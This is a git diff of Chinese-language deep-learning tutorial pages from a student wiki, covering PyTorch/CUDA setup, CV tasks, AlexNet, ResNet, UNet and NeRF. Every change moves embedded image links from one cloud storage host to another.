a/4.人工智能/4.6.1工欲善其事,必先利其器.md b/4.人工智能/4.6.1工欲善其事,必先利其器.md index 3e30ec4..6f86e58 100644 --- a/4.人工智能/4.6.1工欲善其事,必先利其器.md +++ b/4.人工智能/4.6.1工欲善其事,必先利其器.md @@ -6,7 +6,7 @@ ## 深度学习框架 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnWLzi1LIWLCncrXcTcjAKne.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnWLzi1LIWLCncrXcTcjAKne.png) ### 1、深度学习框架是什么 @@ -113,9 +113,9 @@ PyTorch 完全基于 Python。 官网如下 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnaF9UWNcr5pt99Zu5Wr0PTg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaF9UWNcr5pt99Zu5Wr0PTg.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png) 选择 Conda 或者 Pip 安装皆可 @@ -140,7 +140,7 @@ conda config --set show_channel_urls yes ### TensorFlow -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn5u9u9M6DPRh83ufoSwfuof.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5u9u9M6DPRh83ufoSwfuof.png) #### 教程 @@ -161,17 +161,17 @@ cuda 版本需要额外配置,我们将这个任务留给聪明的你!!! 同时按下键盘的 win+r 键,打开 cmd,键入 `dxdiag` 然后回车 系统、显卡、声卡以及其他输入设备的信息都在这里了。(给出我的界面) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXHceTuUl0XzCNJv9RqHN9c.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXHceTuUl0XzCNJv9RqHN9c.png) cuda 版本查看 桌面空白位置摁下右键 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbxhAei6H4OWjaN0Hp0YICg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbxhAei6H4OWjaN0Hp0YICg.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnp9i1SagOxXd17W9BiP3RNe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnp9i1SagOxXd17W9BiP3RNe.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcngaZNZB3XLSJia0rk0DgGbe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngaZNZB3XLSJia0rk0DgGbe.png) #### linux @@ -187,11 +187,11 @@ nvidia-smi 通常大家所指的 cuda 是位于/usr/local 下的 cuda -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcntFGELTpdcVoigy5ldCorAb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcntFGELTpdcVoigy5ldCorAb.png) 当然可以看到 cuda 是 cuda-11.6 所指向的软链接(类似 windows 的快捷方式),所以我们如果要切换 cuda 版本只需要改变软链接的指向即可。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnTB39MtPKBr9CgufCpSIYuf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTB39MtPKBr9CgufCpSIYuf.png) cuda driver version 是 cuda 的驱动版本。 @@ -199,9 +199,9 @@ cuda runtimer version 是我们实际很多时候我们实际调用的版本。 二者的版本是可以不一致的。如下图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnATNfI2spkNsXbqtIuwwY6c.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnATNfI2spkNsXbqtIuwwY6c.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnz03UebyZ42JNOXpdUfjMBg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnz03UebyZ42JNOXpdUfjMBg.png) 一般来讲 cuda driver 是向下兼容的。所以 cuda driver version >= cuda runtime version 就不会太大问题。 @@ -211,13 +211,13 @@ cuda runtimer version 是我们实际很多时候我们实际调用的版本。 以 pytorch 为例,可以看到在安装过程中我们选择的 cuda 版本是 10.2 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcns8yMCuacj0A2BbMU6ZB08b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcns8yMCuacj0A2BbMU6ZB08b.png) 那么这个 cudatookit10.2 和 nvidia-smi 的 11.7 以及 nvcc -V 的 11.4 三者有什么区别呢? pytorch 实际只需要 cuda 的链接文件,即.so 文件,这些链接文件就都包含的 cudatookkit 里面。并不需要 cuda 的头文件等其他东西,如下所示 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXWjMnlXjMg2lA1ApjoUhnh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXWjMnlXjMg2lA1ApjoUhnh.png) 所以我们如果想让使用 pytorch-cuda 版本,我们实际上不需要/usr/local/cuda。只需要在安装驱动的前提下,在 python 里面安装 cudatookit 即可。 @@ -227,8 +227,8 @@ pytorch 实际只需要 cuda 的链接文件,即.so 文件,这些链接文 Cudnn 是一些链接文件,你可以理解成是为了给 cuda 计算加速的东西。同样的我们也可以用以下命令查看/usr/local/cuda 的 cudnn: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPD5DbA3NPimtV0kVoDJGmh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPD5DbA3NPimtV0kVoDJGmh.png) 以及 pytorch 的 cuda 环境的 cudnn -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnZQ2Mc52Us6ku543l7WPEZd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZQ2Mc52Us6ku543l7WPEZd.png) diff --git a/4.人工智能/4.6.2你可能会需要的术语介绍.md b/4.人工智能/4.6.2你可能会需要的术语介绍.md index 9e6ee71..5e4da52 100644 --- a/4.人工智能/4.6.2你可能会需要的术语介绍.md +++ b/4.人工智能/4.6.2你可能会需要的术语介绍.md @@ -40,8 +40,8 @@ 这是我用照片重建的独角兽稀疏点云,红色的不用管,是照相机视角(图不够多,巨糊) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnWx8hYfT6kFug4A1iA3uftg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnWx8hYfT6kFug4A1iA3uftg.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbWfXyklyZwpjwy8uz2XnLh.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbWfXyklyZwpjwy8uz2XnLh.jpg) 先这些,后续想起来了可能会补充。 diff --git a/4.人工智能/4.6.3深度学习快速入门.md b/4.人工智能/4.6.3深度学习快速入门.md index 4266aae..2869007 100644 --- a/4.人工智能/4.6.3深度学习快速入门.md +++ b/4.人工智能/4.6.3深度学习快速入门.md @@ -65,7 +65,7 @@ Crash course 的课程,可以基本了解pytorch的内容,但是当然有很 ### 损失 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnRbeabbEppeHlM39UwqJSJc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRbeabbEppeHlM39UwqJSJc.png) 首先我们需要有一个损失函数$F(x),x=true-predict$ @@ -74,13 +74,13 @@ Crash course 的课程,可以基本了解pytorch的内容,但是当然有很 ### 梯度下降 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnMuwaG2okodvywzbxX138Re.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnMuwaG2okodvywzbxX138Re.png) 假设损失函数为$y=x^2$,梯度下降的目的是快速找到导数为 0 的位置(附近) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn83M9AW6xDm5pBIqmZEC6Kf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn83M9AW6xDm5pBIqmZEC6Kf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcneVFa131Lb9xDMCsIMI9fcc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcneVFa131Lb9xDMCsIMI9fcc.png) 以此类推,我们最后的 w 在 0 的附近反复横跳,最后最接近目标函数的权重 w 就是 0。 @@ -94,7 +94,7 @@ Crash course 的课程,可以基本了解pytorch的内容,但是当然有很 # 关于 MINIST -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png) 这个数据集可以说是最最经典的数据集了,里面有 0-9 这 10 个数字的手写图片和标注,正确率最高已经到了 99.7%. diff --git a/4.人工智能/4.6.4Pytorch安装.md b/4.人工智能/4.6.4Pytorch安装.md index c874237..b4c2e36 100644 --- a/4.人工智能/4.6.4Pytorch安装.md +++ b/4.人工智能/4.6.4Pytorch安装.md @@ -4,7 +4,7 @@ 进入官网后选择 Install,在下面表格中按照你的配置进行选择: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnxltvaT52E6mu6JIYaKvM1X.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxltvaT52E6mu6JIYaKvM1X.png) 其中 Package 部分选择安装的途径,这里主要介绍 Pip 和 Conda 两种途径。 @@ -56,8 +56,8 @@ conda config --show channels 同时按下 Win+R,运行 cmd,输入 `dxdiag` 并回车。系统、显卡、声卡以及其他设备信息都会显示。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnepK0nkI8pWAJaO89zQoRgh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnepK0nkI8pWAJaO89zQoRgh.png) cuda 版本查看 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnRoZEZsUdVduFRR9DjegeNh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRoZEZsUdVduFRR9DjegeNh.png) diff --git a/4.人工智能/4.6.5.1CV领域任务(研究目标).md b/4.人工智能/4.6.5.1CV领域任务(研究目标).md index 5b313cb..72368c6 100644 --- a/4.人工智能/4.6.5.1CV领域任务(研究目标).md +++ b/4.人工智能/4.6.5.1CV领域任务(研究目标).md @@ -2,7 +2,7 @@ ### CV 领域的大任务 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnTUlm8EI0byGJJQ78IqGWGx.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTUlm8EI0byGJJQ78IqGWGx.png) #### (a)Image classification 图像分类 @@ -18,7 +18,7 @@ - 这张图我们需要标注两个类别 `head(头)、helmet(头盔)` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnoyxKL4bOeYOOjrh6it0BHd.gif) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnoyxKL4bOeYOOjrh6it0BHd.gif) #### (c)Semantic segmentation 语义分割 @@ -32,13 +32,13 @@ #### (e)Key Point 人体关键点检测 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnT2udZtMmV2kLQsXoPuElNd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnT2udZtMmV2kLQsXoPuElNd.png) 通过人体关键节点的组合和追踪来识别人的运动和行为,对于描述人体姿态,预测人体行为至关重要。 #### (f)Scene Text Recognition(STR)场景文字识别 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnB8ZB4bSaHhIhPFHHrxkakb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnB8ZB4bSaHhIhPFHHrxkakb.png) 很多照片中都有一些文字信息,这对理解图像有重要的作用。 @@ -48,7 +48,7 @@ 利用两张图片或者其他信息生成一张新的图片 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnOdmG0c1kkivVdTn5RUMCIc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnOdmG0c1kkivVdTn5RUMCIc.png) 利用左边两张小图生成右边的图片 @@ -56,6 +56,6 @@ 将输入图片分辨率增加 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnDJ5aNv49ySjw96uCCF0dW8.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDJ5aNv49ySjw96uCCF0dW8.png) 当然还有一些新兴领域我们没有写入~ diff --git a/4.人工智能/4.6.5.2.1数据读取.md b/4.人工智能/4.6.5.2.1数据读取.md index 11673aa..9e0b5c4 100644 --- a/4.人工智能/4.6.5.2.1数据读取.md +++ b/4.人工智能/4.6.5.2.1数据读取.md @@ -117,7 +117,7 @@ Torchvision 库中的 torchvision.datasets 包中提供了丰富的图像数据 下表中列出了 torchvision.datasets 包所有支持的数据集。各个数据集的说明与接口,详见链接 [https://pytorch.org/vision/stable/datasets.html](https://pytorch.org/vision/stable/datasets.html)。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnxvqC7FKt1qeCZoI2kVf9yg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxvqC7FKt1qeCZoI2kVf9yg.png) 注意,torchvision.datasets 这个包本身并不包含数据集的文件本身,它的工作方式是先从网络上把数据集下载到用户指定目录,然后再用它的加载器把数据集加载到内存中。最后,把这个加载后的数据集作为对象返回给用户。 @@ -129,11 +129,11 @@ MNIST 数据集是一个著名的手写数字数据集,因为上手简单, MNIST 数据集是 NIST 数据集的一个子集,MNIST 数据集你可以通过[这里](http://yann.lecun.com/exdb/mnist/)下载。它包含了四个部分。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnCP2Sp932nPy8Il5Z5d4Aih.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCP2Sp932nPy8Il5Z5d4Aih.png) MNIST 数据集是 ubyte 格式存储,我们先将“训练集图片”解析成图片格式,来直观地看一看数据集具体是什么样子的。具体怎么解析,我们在后面数据预览再展开。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnjsG31hhjqdxOnoCGFGR6sh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnjsG31hhjqdxOnoCGFGR6sh.png) 接下来,我们看一下如何使用 Torchvision 来读取 MNIST 数据集。 diff --git a/4.人工智能/4.6.5.3.1AlexNet.md b/4.人工智能/4.6.5.3.1AlexNet.md index c52e06a..46968ca 100644 --- a/4.人工智能/4.6.5.3.1AlexNet.md +++ b/4.人工智能/4.6.5.3.1AlexNet.md @@ -12,21 +12,21 @@ AlexNet 有 6 千万个参数和 650,000 个神经元。 ### 网络框架图 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcng0jB2dmDD18EwU8nAIFPIc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcng0jB2dmDD18EwU8nAIFPIc.png) ### 使用 ReLU 激活函数代替 tanh 在当时,标准的神经元激活函数是 tanh()函数,这种饱和的非线性函数在梯度下降的时候要比非饱和的非线性函数慢得多,因此,在 AlexNet 中使用 ReLU 函数作为激活函数。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnFlENdpKXUR7l4MhUXFKzfg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFlENdpKXUR7l4MhUXFKzfg.png) ### 采用 Dropout 防止过拟合 dropout 方法会遍历网络的每一层,并设置消除神经网络中节点的概率。假设网络中的每一层,每个节点都以抛硬币的方式设置概率,每个节点得以保留和消除的概率都是 0.5,设置完节点概率,我们会消除一些节点,然后删除掉从该节点进出的连线,最后得到一个节点更少,规模更小的网络(如下图所示),然后再用反向传播方法进行训练。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnNXzBUtJWXbUtEZzxugBr6W.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnNXzBUtJWXbUtEZzxugBr6W.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn7kG0PcXNumIdTFuEdaHl0e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn7kG0PcXNumIdTFuEdaHl0e.png) ### diff --git a/4.人工智能/4.6.5.3.2FCN.md b/4.人工智能/4.6.5.3.2FCN.md index ba2c1b5..f3eec40 100644 --- a/4.人工智能/4.6.5.3.2FCN.md +++ b/4.人工智能/4.6.5.3.2FCN.md @@ -10,7 +10,7 @@ ### 框架图 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcndYCXYj7rNfhXoSaEPZxpyc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndYCXYj7rNfhXoSaEPZxpyc.png) ### 同 CNN 的对比 @@ -26,7 +26,7 @@ FCN 对图像进行像素级的分类,从而解决了语义级别的图像分 这里图像的反卷积使用了这一种反卷积手段使得图像可以变大,FCN 作者使用的方法是这里所说反卷积的一种变体,这样就可以获得相应的像素值,图像可以实现 end to end。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcngqgiogbvy4OYpIzIo6eSXd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngqgiogbvy4OYpIzIo6eSXd.png) ### 视频 diff --git a/4.人工智能/4.6.5.3.3ResNet.md b/4.人工智能/4.6.5.3.3ResNet.md index 54cee95..6dc54ae 100644 --- a/4.人工智能/4.6.5.3.3ResNet.md +++ b/4.人工智能/4.6.5.3.3ResNet.md @@ -21,11 +21,11 @@ 如图所示,随着层数越来越深,预测的效果反而越来越差(error 越大) ::: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnBDfBnOPmS0btwNseKvsN6f.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBDfBnOPmS0btwNseKvsN6f.png) ## 网络模型 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnn8a16DYyEPEVuHxvvw7eAf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnn8a16DYyEPEVuHxvvw7eAf.png) ::: warning 😺 我们可以看到,ResNet 的网络依旧非常深,这是因为研究团队不仅发现了退化现象,还采用出一个可以将网络继续加深的 trick:shortcut,亦即我们所说的 residual。 @@ -35,7 +35,7 @@ ::: ### residual 结构 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhgVaLChu3O2omGJKzFU7uB.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhgVaLChu3O2omGJKzFU7uB.png) ## 网络代码 diff --git a/4.人工智能/4.6.5.3.4UNet.md b/4.人工智能/4.6.5.3.4UNet.md index 837161e..f56f5eb 100644 --- a/4.人工智能/4.6.5.3.4UNet.md +++ b/4.人工智能/4.6.5.3.4UNet.md @@ -8,7 +8,7 @@ ## 网络框架 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnoo4bKuLo5qQdQmRP2H75Sb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnoo4bKuLo5qQdQmRP2H75Sb.png) ::: warning 😺 diff --git a/4.人工智能/4.6.5.3.7还要学更多?.md b/4.人工智能/4.6.5.3.7还要学更多?.md index ee633e0..12b9354 100644 --- a/4.人工智能/4.6.5.3.7还要学更多?.md +++ b/4.人工智能/4.6.5.3.7还要学更多?.md @@ -6,11 +6,11 @@ - 你可以先行尝试一下怎么把在 MNIST 上训练的网络真正投入应用,比如识别一张你自己用黑笔写的数字~ -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn2juA3J3ycnHoN5SmYAfEfd.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2juA3J3ycnHoN5SmYAfEfd.jpg) - 比如你可以尝试训练一个网络来实现人体五官分割(笔者之前就玩过这个)数据集采用 [helen 数据集](https://pages.cs.wisc.edu/~lizhang/projects/face-parsing/),关于数据集的架构你可以搜一搜,自己设计一个 Dataloader 和 YourModle 来实现前言中的五官分割效果(真的很有乐子 hhh) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJJlzanhvtE55Q7d0IR1vph.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJJlzanhvtE55Q7d0IR1vph.png) - 当然你也可以尝试一些自己感兴趣的小任务来锻炼工程能力~ diff --git a/4.人工智能/4.6.5.4.1NeRF.md b/4.人工智能/4.6.5.4.1NeRF.md index 37291b8..15c09fa 100644 --- a/4.人工智能/4.6.5.4.1NeRF.md +++ b/4.人工智能/4.6.5.4.1NeRF.md @@ -6,11 +6,11 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 在生成建模前,我们需要对被建模物体进行密集的采样,如下图是一个示例的训练集,它含有 100 张图片以及保存了每一张图片相机参数(表示拍摄位置,拍摄角度,焦距的矩阵)的 json 文件。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn6jg09V944MU1sBsstmdaib.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn6jg09V944MU1sBsstmdaib.png) 你可以看到,这 100 张图片是对一个乐高推土机的多角度拍摄结果。我们需要的是一个可以获取这个推土机在任意角度下拍摄的图片的模型。如图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnLEEyuUWOwiJOePhmmsAakd.gif) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLEEyuUWOwiJOePhmmsAakd.gif) 现在来看 NeRF 网络: @@ -40,7 +40,7 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 - 对应的小方块的 RGB 信息 - 不透明度 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg) 在这里,作者选择了最简单的 MLP,因此,这是一个输入为 5 维,输出为 4 维向量($R,G,B,\sigma$)的简单网络,值得注意的是,不透明度与观察角度无关,这里在网络中进行了特殊处理,让这个值与后两维无关。 @@ -58,15 +58,15 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 这段要仔细看和推导,第一遍不容易直接懂。顺带一提,我们的小方块学名叫体素为了显得我们更专业一点以后就叫它体素罢 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png) 上面所说的公式具体如下:t 是我们的$\sigma$,$t_f,t_n$分别是离发射点最远的体素和最近的体素。这个公式求得是像素的颜色。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnDWBUOJucS2YdT7MlKBAq8g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDWBUOJucS2YdT7MlKBAq8g.png) 思路总体如上,这里放一张找来的渲染过程示意图(不知道为什么有点包浆) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnfH30VDvbSdzahs5lRuirUd.gif) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfH30VDvbSdzahs5lRuirUd.gif) # 算法细节部分 @@ -86,10 +86,10 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 粗网络就是上述采样方法用的普通网络,而粗网络输出的不透明度值会被作为一个概率分布函数,精细网络根据这个概率分布在光线上进行采样,不透明度越大的点,它的邻域被采样的概率越大,也就实现了我们要求的在实体上多采样,空气中少采样。最后精细网络输出作为结果,因此粗网络可以只求不透明度,无视颜色信息。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnwl72wntQgYMFvRPTWY5fPf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwl72wntQgYMFvRPTWY5fPf.png) ## 位置编码 学过 cv 的大家想必对这个东西耳熟能详了吧~,这里的位置编码是对输入的两个位置和一个方向进行的(体素位置,相机位置和方向),使用的是类似 transformer 的三角函数类编码如下。位置编码存在的意义是放大原本的 5 维输入对网络的影响程度,把原本的 5D 输入变为 90 维向量;并且加入了与其他体素的相对位置信息。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnliAj5mb0Afz0TOMwrwytmh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnliAj5mb0Afz0TOMwrwytmh.png) diff --git a/4.人工智能/4.6.5.4.2NeRF的改进方向.md b/4.人工智能/4.6.5.4.2NeRF的改进方向.md index 2d74469..e5c93fb 100644 --- a/4.人工智能/4.6.5.4.2NeRF的改进方向.md +++ b/4.人工智能/4.6.5.4.2NeRF的改进方向.md @@ -12,19 +12,19 @@ Pixel-nerf 对输入图像使用卷积进行特征提取再执行 nerf,若有多个输入,对每个视角都执行 CNN,在计算光线时,取每一个已有视角下该坐标的特征,经过 mlp 后算平均。可以在少量视角下重建视图,需要进行预训练才能使用,有一定自动补全能力(有限) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnEiUODOd4FOBxYIZmmihyef.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnEiUODOd4FOBxYIZmmihyef.png) ### 2.IBRnet IBRnet 是 pixel-nerf 的改进版,取消了 CNN,并且在 mlp 后接入了 transformer 结构处理体密度(不透明度),对这条光线上所有的采样点进行一个 transformer。同时,在获取某个体素的颜色和密度时,作者用了本视角相邻的两个视角,获取对应体素在这两张图片中的像素,以图片像素颜色,视角,图片特征作为 mlp 的输入。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnwH75jIO9NiVwQaBqDrbe8e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwH75jIO9NiVwQaBqDrbe8e.png) ### 3.MVSnerf MVSnerf 它用 MVS 的方法构建代价体然后在后面接了一个 nerf,MVS 是使用多视角立体匹配构建一个代价体,用 3D 卷积网络进行优化,这里对代价体进行 nerf 采样,可以得到可泛化网络。它需要 15min 的微调才能在新数据上使用。多视角立体匹配是一种传统算法,通过光线,几何等信息计算图像中小块的相似度,得出两个相机视角之间的位置关系。这个算法也被广泛使用在得到我们自己采样的数据的相机变换矩阵上(我就是这么干的) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbd2YxumunZR9LZG3ANrPrb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbd2YxumunZR9LZG3ANrPrb.png) 此处涉及较多图形学,使用了平面扫描算法,其中有单应性变换这个角度变换算法,推导与讲解如下: @@ -34,7 +34,7 @@ 平面扫描就是把 A 视角中的某一像素点(如图中红色区域)的相邻的几个像素提取出来,用单应性变换转换到 B 视角中,这时候用的深度是假设的深度,遍历所有假设的深度,计算通过每一个假设深度经过单应性变换得到的像素小块和 B 视角中对应位置的差值(loss),取最小的 loss 处的深度作为该像素的深度。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn5JmWUh1Gu283biqHq3Op0r.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5JmWUh1Gu283biqHq3Op0r.png) 构建代价体: @@ -55,7 +55,7 @@ 展开说说:其实这也是神经网络发展的一个方向,以前的深层网络倾向于把所有东西用网络参数表示,这样推理速度就会慢,这里使用哈希表的快速查找能力存储一些数据信息,instant-ngp 就是把要表达的模型数据特征按照不同的精细度存在哈希表中,使用时通过哈希表调用或插值调用。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXSUge0BqBCecdDJLQr4cRc.png) 